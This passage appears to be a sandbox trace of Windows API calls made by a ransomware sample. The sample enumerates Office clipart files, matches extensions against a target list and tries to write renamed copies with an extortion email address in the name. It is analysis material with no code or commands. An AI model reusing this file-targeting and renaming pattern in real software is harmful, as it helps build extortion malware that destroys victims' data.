office\\root\\clipart\\pub60cor\\so01044_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.778] CloseHandle (hObject=0x1158) returned 1 [0261.779] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0261.779] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0261.779] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01063_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so01063_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.779] CloseHandle (hObject=0x1158) returned 1 [0261.780] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0261.780] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0261.780] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01236_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so01236_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.780] CloseHandle (hObject=0x1158) returned 1 [0261.781] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0261.782] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0261.782] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01560_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so01560_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.782] CloseHandle (hObject=0x1158) returned 1 [0261.783] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0261.783] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0261.783] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01561_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so01561_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.784] CloseHandle (hObject=0x1158) returned 1 [0261.786] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0261.786] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0261.786] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01563_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so01563_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.786] CloseHandle (hObject=0x1158) returned 1 [0261.787] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0261.787] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0261.787] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01566_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so01566_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.787] CloseHandle (hObject=0x1158) returned 1 [0261.788] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0261.788] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0261.789] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01568_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so01568_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.789] CloseHandle (hObject=0x1158) returned 1 [0261.790] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0261.790] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0261.790] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01569_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so01569_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.882] CloseHandle (hObject=0x1158) returned 1 [0261.923] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0261.923] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0261.924] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01575_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so01575_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.924] CloseHandle (hObject=0x118c) returned 1 [0261.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01575_.WMF") returned 68 [0261.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01575_.WMF") returned 68 [0261.924] lstrlenW (lpString=".doc") returned 4 [0261.924] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0261.924] lstrlenW (lpString=".docx") returned 5 [0261.925] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0261.925] lstrlenW (lpString=".pdf") returned 4 [0261.925] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0261.925] lstrlenW (lpString=".xls") returned 4 [0261.925] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0261.925] lstrlenW (lpString=".xlsx") returned 5 [0261.925] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0261.925] lstrlenW (lpString=".ppt") returned 4 [0261.925] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0261.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01575_.WMF") returned 68 [0261.925] lstrlenW (lpString=".zip") returned 4 [0261.925] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0261.925] lstrlenW (lpString=".rar") returned 4 [0261.925] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0261.925] lstrlenW (lpString=".bz2") returned 4 [0261.925] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0261.925] lstrlenW (lpString=".7z") returned 3 [0261.925] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0261.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01575_.WMF") returned 68 [0261.925] lstrlenW (lpString=".dbf") returned 4 [0261.925] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0261.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01575_.WMF") returned 68 [0261.925] lstrlenW (lpString=".1cd") returned 4 [0261.925] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0261.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01575_.WMF") returned 68 [0261.925] lstrlenW (lpString=".jpg") returned 4 [0261.926] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0261.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01575_.WMF") returned 68 [0261.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01575_.WMF") returned 68 [0261.926] lstrlenW (lpString=".doc") returned 4 [0261.926] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0261.926] lstrlenW (lpString=".docx") returned 5 [0261.926] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0261.926] lstrlenW (lpString=".pdf") returned 4 [0261.926] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0261.926] lstrlenW (lpString=".xls") returned 4 [0261.926] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0261.926] lstrlenW (lpString=".xlsx") returned 5 [0261.926] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0261.926] lstrlenW (lpString=".ppt") returned 4 [0261.926] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0261.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01575_.WMF") returned 68 [0261.926] lstrlenW (lpString=".zip") returned 4 [0261.926] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0261.926] lstrlenW (lpString=".rar") returned 4 [0261.926] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0261.926] lstrlenW (lpString=".bz2") returned 4 [0261.926] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0261.926] lstrlenW (lpString=".7z") returned 3 [0261.926] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0261.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01575_.WMF") returned 68 [0261.926] lstrlenW (lpString=".dbf") returned 4 [0261.927] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0261.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01575_.WMF") returned 68 [0261.927] lstrlenW (lpString=".1cd") returned 4 [0261.927] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0261.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01575_.WMF") returned 68 [0261.927] lstrlenW (lpString=".jpg") returned 4 [0261.927] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0261.927] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0261.927] lstrlenW (lpString="SO01777_.WMF") returned 12 [0261.927] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01777_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so01777_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x118c [0261.928] GetFileSizeEx (in: hFile=0x118c, lpFileSize=0x28dff14 | out: lpFileSize=0x28dff14*=9574) returned 1 [0261.928] CloseHandle (hObject=0x118c) returned 1 [0261.929] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01777_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so01777_.wmf")) returned 0x220 [0261.929] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01777_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so01777_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0261.929] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01777_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so01777_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x118c [0261.929] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0261.929] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0261.929] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01777_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so01777_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.930] CloseHandle (hObject=0x118c) returned 1 [0261.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01777_.WMF") returned 68 [0261.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01777_.WMF") returned 68 [0261.930] lstrlenW (lpString=".doc") returned 4 [0261.930] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0261.930] lstrlenW (lpString=".docx") returned 5 [0261.930] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0261.930] lstrlenW (lpString=".pdf") returned 4 [0261.930] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0261.930] lstrlenW (lpString=".xls") returned 4 [0261.930] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0261.930] lstrlenW (lpString=".xlsx") returned 5 [0261.930] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0261.930] lstrlenW (lpString=".ppt") returned 4 [0261.930] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0261.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01777_.WMF") returned 68 [0261.930] lstrlenW (lpString=".zip") returned 4 [0261.930] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0261.930] lstrlenW (lpString=".rar") returned 4 [0261.930] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0261.930] lstrlenW (lpString=".bz2") returned 4 [0261.930] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0261.930] lstrlenW (lpString=".7z") returned 3 [0261.930] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0261.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01777_.WMF") returned 68 [0261.931] lstrlenW (lpString=".dbf") returned 4 [0261.931] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0261.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01777_.WMF") returned 68 [0261.931] lstrlenW (lpString=".1cd") returned 4 [0261.931] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0261.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01777_.WMF") returned 68 [0261.931] lstrlenW (lpString=".jpg") returned 4 [0261.931] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0261.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01777_.WMF") returned 68 [0261.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01777_.WMF") returned 68 [0261.931] lstrlenW (lpString=".doc") returned 4 [0261.931] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0261.931] lstrlenW (lpString=".docx") returned 5 [0261.931] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0261.931] lstrlenW (lpString=".pdf") returned 4 [0261.931] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0261.931] lstrlenW (lpString=".xls") returned 4 [0261.931] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0261.931] lstrlenW (lpString=".xlsx") returned 5 [0261.931] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0261.931] lstrlenW (lpString=".ppt") returned 4 [0261.931] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0261.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01777_.WMF") returned 68 [0261.932] lstrlenW (lpString=".zip") returned 4 [0261.932] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0261.932] lstrlenW (lpString=".rar") returned 4 [0261.932] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0261.932] lstrlenW (lpString=".bz2") returned 4 [0261.932] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0261.932] lstrlenW (lpString=".7z") returned 3 [0261.932] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0261.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01777_.WMF") returned 68 [0261.932] lstrlenW (lpString=".dbf") returned 4 [0261.932] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0261.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01777_.WMF") returned 68 [0261.932] lstrlenW (lpString=".1cd") returned 4 [0261.932] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0261.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01777_.WMF") returned 68 [0261.932] lstrlenW (lpString=".jpg") returned 4 [0261.932] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0261.932] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0261.933] lstrlenW (lpString="SO01785_.WMF") returned 12 [0261.933] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01785_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so01785_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x118c [0261.936] GetFileSizeEx (in: hFile=0x118c, lpFileSize=0x28dff14 | out: lpFileSize=0x28dff14*=27816) returned 1 [0261.936] CloseHandle (hObject=0x118c) returned 1 [0261.937] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01785_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so01785_.wmf")) returned 0x220 [0261.937] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01785_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so01785_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0261.937] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01785_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so01785_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x118c [0261.937] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0261.937] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0261.937] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01785_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so01785_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.938] CloseHandle (hObject=0x118c) returned 1 [0261.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01785_.WMF") returned 68 [0261.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01785_.WMF") returned 68 [0261.938] lstrlenW (lpString=".doc") returned 4 [0261.938] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0261.938] lstrlenW (lpString=".docx") returned 5 [0261.938] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0261.938] lstrlenW (lpString=".pdf") returned 4 [0261.938] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0261.938] lstrlenW (lpString=".xls") returned 4 [0261.938] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0261.938] lstrlenW (lpString=".xlsx") returned 5 [0261.938] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0261.938] lstrlenW (lpString=".ppt") returned 4 [0261.938] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0261.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01785_.WMF") returned 68 [0261.939] lstrlenW (lpString=".zip") returned 4 [0261.939] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0261.939] lstrlenW (lpString=".rar") returned 4 [0261.939] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0261.939] lstrlenW (lpString=".bz2") returned 4 [0261.939] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0261.939] lstrlenW (lpString=".7z") returned 3 [0261.939] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0261.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01785_.WMF") returned 68 [0261.939] lstrlenW (lpString=".dbf") returned 4 [0261.939] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0261.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01785_.WMF") returned 68 [0261.939] lstrlenW (lpString=".1cd") returned 4 [0261.939] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0261.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01785_.WMF") returned 68 [0261.939] lstrlenW (lpString=".jpg") returned 4 [0261.939] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0261.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01785_.WMF") returned 68 [0261.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01785_.WMF") returned 68 [0261.939] lstrlenW (lpString=".doc") returned 4 [0261.939] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0261.939] lstrlenW (lpString=".docx") returned 5 [0261.939] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0261.939] lstrlenW (lpString=".pdf") returned 4 [0261.939] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0261.939] lstrlenW (lpString=".xls") returned 4 [0261.939] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0261.939] lstrlenW (lpString=".xlsx") returned 5 [0261.939] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0261.939] lstrlenW (lpString=".ppt") returned 4 [0261.940] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0261.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01785_.WMF") returned 68 [0261.940] lstrlenW (lpString=".zip") returned 4 [0261.940] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0261.940] lstrlenW (lpString=".rar") returned 4 [0261.940] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0261.940] lstrlenW (lpString=".bz2") returned 4 [0261.940] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0261.940] lstrlenW (lpString=".7z") returned 3 [0261.940] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0261.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01785_.WMF") returned 68 [0261.940] lstrlenW (lpString=".dbf") returned 4 [0261.940] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0261.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01785_.WMF") returned 68 [0261.940] lstrlenW (lpString=".1cd") returned 4 [0261.940] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0261.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01785_.WMF") returned 68 [0261.940] lstrlenW (lpString=".jpg") returned 4 [0261.940] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0261.940] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0261.940] lstrlenW (lpString="SO01805_.WMF") returned 12 [0261.940] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01805_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so01805_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x118c [0261.941] GetFileSizeEx (in: hFile=0x118c, lpFileSize=0x28dff14 | out: 